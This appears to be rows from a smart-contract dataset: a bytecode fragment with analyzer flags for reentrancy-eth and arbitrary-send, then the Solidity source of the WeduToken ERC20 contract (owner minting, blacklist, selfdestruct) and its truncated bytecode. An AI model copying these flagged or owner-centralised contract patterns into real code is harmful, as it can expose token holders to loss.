0248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461054f57600080fd5b803561146d8161144d565b919050565b6000602080838503121561148557600080fd5b823567ffffffffffffffff8082111561149d57600080fd5b818501915085601f8301126114b157600080fd5b8135818111156114c3576114c3611437565b8060051b604051601f19603f830116810181811085821117156114e8576114e8611437565b60405291825284820192508381018501918883111561150657600080fd5b938501935b8285101561152b5761151c85611462565b8452938501939285019261150b565b98975050505050505050565b600060208083528351808285015260005b8181101561156457858101830151858201604001528201611548565b81811115611576576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561159f57600080fd5b82356115aa8161144d565b946020939093013593505050565b6000806000606084860312156115cd57600080fd5b83356115d88161144d565b925060208401356115e88161144d565b929592945050506040919091013590565b60006020828403121561160b57600080fd5b5035919050565b60006020828403121561162457600080fd5b8135610a898161144d565b6000806040838503121561164257600080fd5b823561164d8161144d565b9150602083013561165d8161144d565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116a8576116a861167e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116f657600080fd5b8151610a898161144d565b60006020828403121561171357600080fd5b81518015158114610a8957600080fd5b60008060006060848603121561173857600080fd5b8351925060208401519150604084015190509250925092565b600082198211156117645761176461167e565b500190565b60008282101561177b5761177b61167e565b500390565b60008261179d57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117f25784516001600160a01b0316835293830193918301916001016117cd565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561182d5761182d61167e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b5580da22c84559f49e63d95af856e6f77a4a9052cce69bf5bdbe61aae333fb664736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,352 |
0xd339b7d955199253c7973fe9fdb2946a523e15a7 | pragma solidity ^0.4.24;
contract ERC20Interface {
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
function totalSupply() public constant returns (uint);
function balanceOf(address _owner) public constant returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function transferFrom(address _from, address _to, uint _value) public returns (bool);
function approve(address _spender, uint _value) public returns (bool);
function allowance(address _owner, address _spender) public constant returns (uint);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract WeduToken is ERC20Interface {
/**
* @dev Constant parameters
*/
string private TOKEN_NAME;
string private TOKEN_SYMBOL;
uint8 private DECIMAL;
uint private WEDU_UNIT;
/**
* @dev Management parameters
*/
address owner;
mapping(address => bool) internal blackList;
/**
* @dev Balance parameters
*/
uint private totalSupplyValue;
struct BalanceType {
uint locked;
uint unlocked;
}
mapping(address => mapping (address => uint)) internal allowed;
mapping(address => BalanceType) internal balanceValue;
/**
* @dev Modifier, Only owner can execute the function
*/
modifier onlyOwner() { require(owner == msg.sender, "Not a owner"); _;}
/**
* @dev Event, called when the number of token changed
*/
event ChangeNumberofToken(uint oldValue, uint newValue);
/**
* @dev Constructor, Initialize the name, symbol, etc.
*/
constructor() public {
TOKEN_NAME = "Educo-op";
TOKEN_SYMBOL = "WEDU";
DECIMAL = 18;
WEDU_UNIT = 1000000000000000000;
totalSupplyValue = 10000000000 * WEDU_UNIT;
owner = msg.sender;
balanceValue[owner].unlocked = totalSupplyValue;
emit Transfer(this, owner, totalSupplyValue);
}
/**
* @dev Main info for WEDU token
*/
function name() public constant returns (string){ return TOKEN_NAME; }
function symbol() public constant returns (string){ return TOKEN_SYMBOL; }
function decimals() public constant returns (uint8){ return DECIMAL; }
function totalSupply() public constant returns (uint){ return totalSupplyValue; }
/**
* @dev Balance info of WEDU token for each user
*/
function balanceOf(address _user) public constant returns (uint){ return balanceValue[_user].unlocked+balanceValue[_user].locked; }
function balanceOfLocked(address _user) public constant returns (uint){ return balanceValue[_user].locked; }
function balanceOfUnlocked(address _user) public constant returns (uint){ return balanceValue[_user].unlocked; }
/**
* @dev Lock the WEDU token in users
* @param _who The user for locking WEDU token
* @param _value The amount of locking WEDU token
*/
function lockBalance(address _who, uint _value) public onlyOwner {
// Check the unlocked balance of a user
require(_value <= balanceValue[_who].unlocked, "Unsufficient balance");
uint totalBalanceValue = balanceValue[_who].locked + balanceValue[_who].unlocked;
balanceValue[_who].unlocked -= _value;
balanceValue[_who].locked += _value;
assert(totalBalanceValue == balanceValue[_who].locked + balanceValue[_who].unlocked);
}
/**
* @dev Unlock the WEDU token in users
* @param _who The user for unlocking WEDU token
* @param _value The amount of unlocking WEDU token
*/
function unlockBalance(address _who, uint _value) public onlyOwner {
// Check the locked balance of a user
require(_value <= balanceValue[_who].locked, "Unsufficient balance");
uint totalBalanceValue = balanceValue[_who].locked + balanceValue[_who].unlocked;
balanceValue[_who].locked -= _value;
balanceValue[_who].unlocked += _value;
assert(totalBalanceValue == balanceValue[_who].locked + balanceValue[_who].unlocked);
}
/**
* @dev Transfer the WEDU token
* @param _from The user who will transmit WEDU token
* @param _to The user who will receive WEDU token
* @param _value The amount of WEDU token transmits to user
* @return True when the WEDU token transfer success
*/
function _transfer(address _from, address _to, uint _value) internal returns (bool){
// Check the address
require(_from != address(0), "Address is wrong");
require(_from != owner, "Owner uses the privateTransfer");
require(_to != address(0), "Address is wrong");
// Check a user included in blacklist
require(!blackList[_from], "Sender in blacklist");
require(!blackList[_to], "Receiver in blacklist");
// Check the unlocked balance of a user
require(_value <= balanceValue[_from].unlocked, "Unsufficient balance");
require(balanceValue[_to].unlocked <= balanceValue[_to].unlocked + _value, "Overflow");
uint previousBalances = balanceValue[_from].unlocked + balanceValue[_to].unlocked;
balanceValue[_from].unlocked -= _value;
balanceValue[_to].unlocked += _value;
emit Transfer(_from, _to, _value);
assert(balanceValue[_from].unlocked + balanceValue[_to].unlocked == previousBalances);
return true;
}
function transfer(address _to, uint _value) public returns (bool){
return _transfer(msg.sender, _to, _value);
}
/**
* @dev Educo-op transfers the WEDU token to a user
* @param _to The user who will receive WEDU token
* @param _value The amount of WEDU token transmits to a user
* @return True when the WEDU token transfer success
*/
function privateTransfer(address _to, uint _value) public onlyOwner returns (bool) {
// Check the address
require(_to != address(0), "Address is wrong");
// Account balance validation
require(_value <= balanceValue[owner].unlocked, "Unsufficient balance");
require(balanceValue[_to].unlocked <= balanceValue[_to].unlocked + _value, "Overflow");
uint previousBalances = balanceValue[owner].unlocked + balanceValue[_to].locked;
balanceValue[owner].unlocked -= _value;
balanceValue[_to].locked += _value;
emit Transfer(msg.sender, _to, _value);
assert(balanceValue[owner].unlocked + balanceValue[_to].locked == previousBalances);
return true;
}
/**
* @dev Educo-op transfers the WEDU token to multiple users simultaneously
* @param _tos The users who will receive WEDU token
* @param _nums The number of users that will receive WEDU token
* @param _submitBalance The amount of WEDU token transmits to users
* @return True when the WEDU token transfer success to all users
*/
function multipleTransfer(address[] _tos, uint _nums, uint _submitBalance) public onlyOwner returns (bool){
// Check the input parameters
require(_tos.length == _nums, "Number of users who receives the token is not match");
require(_submitBalance < 100000000 * WEDU_UNIT, "Too high submit balance");
require(_nums < 100, "Two high number of users");
require(_nums*_submitBalance <= balanceValue[owner].unlocked, "Unsufficient balance");
balanceValue[owner].unlocked -= (_nums*_submitBalance);
uint8 numIndex;
for(numIndex=0; numIndex < _nums; numIndex++){
require(balanceValue[_tos[numIndex]].unlocked == 0, "Already user has token");
require(_tos[numIndex] != address(0));
balanceValue[_tos[numIndex]].unlocked = _submitBalance;
emit Transfer(owner, _tos[numIndex], _submitBalance);
}
return true;
}
/**
* @dev Receive the WEDU token from other user
* @param _from The users who will transmit WEDU token
* @param _to The users who will receive WEDU token
* @param _value The amount of WEDU token transmits to user
* @return True when the WEDU token transfer success
*/
function transferFrom(address _from, address _to, uint _value) public returns (bool){
// Check the unlocked balance and allowed balance of a user
require(allowed[_from][msg.sender] <= balanceValue[_from].unlocked, "Unsufficient allowed balance");
require(_value <= allowed[_from][msg.sender], "Unsufficient balance");
allowed[_from][msg.sender] -= _value;
return _transfer(_from, _to, _value);
}
/**
* @dev Approve the WEDU token transfer to other user
* @param _spender A user allowed to receive WEDU token
* @param _value The amount of WEDU token allowed to receive at a user
* @return True when the WEDU token successfully allowed
*/
function approve(address _spender, uint _value) public returns (bool){
// Check the address
require(msg.sender != owner, "Owner uses the privateTransfer");
require(_spender != address(0), "Address is wrong");
require(_value <= balanceValue[msg.sender].unlocked, "Unsufficient balance");
// Check a user included in blacklist
require(!blackList[msg.sender], "Sender in blacklist");
require(!blackList[_spender], "Receiver in blacklist");
// Is really first Approve??
require(allowed[msg.sender][_spender] == 0, "Already allowed token exists");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Get the amount of WEDU token that allowed to the user
* @param _owner A user who allowed WEDU token transmission
* @param _spender A user who allowed WEDU token reception
* @return The amount of WEDU token that allowed to the user
*/
function allowance(address _owner, address _spender) public constant returns (uint){
// Only the user who related with the token allowance can see the allowance value
require(msg.sender == _owner || msg.sender == _spender);
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of WEDU token that allowed to the user
* @param _spender A user who allowed WEDU token reception
* @param _addedValue The amount of WEDU token for increasing
* @return True when the amount of allowed WEDU token successfully increases
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool){
// Check the address
require(_spender != address(0), "Address is wrong");
require(allowed[msg.sender][_spender] > 0, "Not approved until yet");
// Check a user included in blacklist
require(!blackList[msg.sender], "Sender in blacklist");
require(!blackList[_spender], "Receiver in blacklist");
uint oldValue = allowed[msg.sender][_spender];
require(_addedValue + oldValue <= balanceValue[msg.sender].unlocked, "Unsufficient balance");
allowed[msg.sender][_spender] = _addedValue + oldValue;
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of WEDU token that allowed to the user
* @param _spender A user who allowed WEDU token reception
* @param _substractedValue The amount of WEDU token for decreasing
* @return True when the amount of allowed WEDU token successfully decreases
*/
function decreaseApproval(address _spender, uint _substractedValue) public returns (bool){
// Check the address
require(_spender != address(0), "Address is wrong");
require(allowed[msg.sender][_spender] > 0, "Not approved until yet");
// Check a user included in blacklist
require(!blackList[msg.sender], "Sender in blacklist");
require(!blackList[_spender], "Receiver in blacklist");
uint oldValue = allowed[msg.sender][_spender];
if (_substractedValue > oldValue){
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue - _substractedValue;
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Add the blacklist member
* @param _who A user who will be blocked
*/
function addBlackList(address _who) public onlyOwner {
require(!blackList[_who], "Already, sender in blacklist");
blackList[_who] = true;
}
/**
* @dev Remove the blacklist member
* @param _who A user who will be unblocked
*/
function removalBlackList(address _who) public onlyOwner {
require(blackList[_who], "Sender does not included in blacklist");
blackList[_who] = false;
}
/**
* @dev Increase the total amount of WEDU token
* @param _value The amount of WEDU token for increasing
* @return True when the amount of total WEDU token successfully increases
*/
function tokenIssue(uint _value) public onlyOwner returns (bool) {
require(totalSupplyValue <= totalSupplyValue + _value, "Overflow");
uint oldTokenNum = totalSupplyValue;
totalSupplyValue += _value;
balanceValue[owner].unlocked += _value;
emit ChangeNumberofToken(oldTokenNum, totalSupplyValue);
return true;
}
/**
* @dev Decrease the total amount of WEDU token
* @param _value The amount of WEDU token for decreasing
* @return True when the amount of total WEDU token successfully decreases
*/
function tokenBurn(uint _value) public onlyOwner returns (bool) {
require(_value <= balanceValue[owner].unlocked, "Unsufficient balance");
uint oldTokenNum = totalSupplyValue;
totalSupplyValue -= _value;
balanceValue[owner].unlocked -= _value;
emit ChangeNumberofToken(oldTokenNum, totalSupplyValue);
return true;
}
/**
* @dev Migrate the owner of this contract
* @param _owner The user who will receive the manager authority
* @return The user who receivee the manager authority
*/
function ownerMigration (address _owner) public onlyOwner returns (address) {
owner = _owner;
return owner;
}
/**
* @dev Kill contract
*/
function kill() public onlyOwner {
selfdestruct(owner);
}
} | 0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630426dcef1461013857806306fdde03146101855780630876eb0014610215578063095ea7b3146102985780630ecb93c0146102fd57806318160ddd1461034057806323b872dd1461036b5780632b587555146103f0578063313ce5671461045557806339451a881461048657806341c0e1b5146104cb57806366188463146104e257806370a08231146105475780637837e1701461059e57806395d89b41146105eb578063a76d50ad1461067b578063a9059cbb1461070d578063aad0008914610772578063ceddd07d146107b7578063d73dd6231461080e578063dd62ed3e14610873578063e960bb48146108ea578063f7cfd90214610941575b600080fd5b34801561014457600080fd5b50610183600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610984565b005b34801561019157600080fd5b5061019a610cc4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101da5780820151818401526020810190506101bf565b50505050905090810190601f1680156102075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022157600080fd5b50610256600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102a457600080fd5b506102e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e98565b604051808215151515815260200191505060405180910390f35b34801561030957600080fd5b5061033e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611427565b005b34801561034c57600080fd5b50610355611609565b6040518082815260200191505060405180910390f35b34801561037757600080fd5b506103d6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611613565b604051808215151515815260200191505060405180910390f35b3480156103fc57600080fd5b5061043b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118dd565b604051808215151515815260200191505060405180910390f35b34801561046157600080fd5b5061046a611eb4565b604051808260ff1660ff16815260200191505060405180910390f35b34801561049257600080fd5b506104b160048036038101908080359060200190929190505050611ecb565b604051808215151515815260200191505060405180910390f35b3480156104d757600080fd5b506104e0612141565b005b3480156104ee57600080fd5b5061052d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612241565b604051808215151515815260200191505060405180910390f35b34801561055357600080fd5b50610588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127df565b6040518082815260200191505060405180910390f35b3480156105aa57600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061286f565b005b3480156105f757600080fd5b50610600612baf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610640578082015181840152602081019050610625565b50505050905090810190601f16801561066d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068757600080fd5b506106f3600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019092919080359060200190929190505050612c51565b604051808215151515815260200191505060405180910390f35b34801561071957600080fd5b50610758600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613255565b604051808215151515815260200191505060405180910390f35b34801561077e57600080fd5b5061079d6004803603810190808035906020019092919050505061326a565b604051808215151515815260200191505060405180910390f35b3480156107c357600080fd5b506107f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613482565b6040518082815260200191505060405180910390f35b34801561081a57600080fd5b50610859600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506134ce565b604051808215151515815260200191505060405180910390f35b34801561087f57600080fd5b506108d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613a98565b6040518082815260200191505060405180910390f35b3480156108f657600080fd5b5061092b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613b8f565b6040518082815260200191505060405180910390f35b34801561094d57600080fd5b50610982600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613bdb565b005b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610a4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548211151515610b05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015401905081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254039250508190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282540192505081905550600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540181141515610cbf57fe5b505050565b606060008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d5c5780601f10610d3157610100808354040283529160200191610d5c565b820191906000526020600020905b815481529060010190602001808311610d3f57829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610f60576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4f776e657220757365732074686520707269766174655472616e73666572000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611005576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416464726573732069732077726f6e670000000000000000000000000000000081525060200191505060405180910390fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015482111515156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611181576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e64657220696e20626c61636b6c6973740000000000000000000000000081525060200191505060405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611243576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f526563656976657220696e20626c61636b6c697374000000000000000000000081525060200191505060405180910390fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515611337576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f416c726561647920616c6c6f77656420746f6b656e206578697374730000000081525060200191505060405180910390fd5b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156114ec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f416c72656164792c2073656e64657220696e20626c61636b6c6973740000000081525060200191505060405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600654905090565b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f556e73756666696369656e7420616c6c6f7765642062616c616e63650000000081525060200191505060405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561183f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506118d4848484613de2565b90509392505050565b6000803373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416464726573732069732077726f6e670000000000000000000000000000000081525060200191505060405180910390fd5b60086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548311151515611b26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015401600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411151515611c24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4f766572666c6f7700000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015460086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101540190508260086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254039250508190555082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015460086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015401141515611ea957fe5b600191505092915050565b6000600260009054906101000a900460ff16905090565b6000803373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611f93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b60086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154831115151561206f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b6006549050826006600082825403925050819055508260086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825403925050819055507fd2e10d9dc4569a14d8abbffe7956a930a665b08ace4d31bbb0788875c4af705281600654604051808381526020018281526020019250505060405180910390a16001915050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612206576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156122e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416464726573732069732077726f6e670000000000000000000000000000000081525060200191505060405180910390fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115156123dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4e6f7420617070726f76656420756e74696c207965740000000000000000000081525060200191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561249f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e64657220696e20626c61636b6c6973740000000000000000000000000081525060200191505060405180910390fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515612561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f526563656976657220696e20626c61636b6c697374000000000000000000000081525060200191505060405180910390fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561266f576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126f3565b828103600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060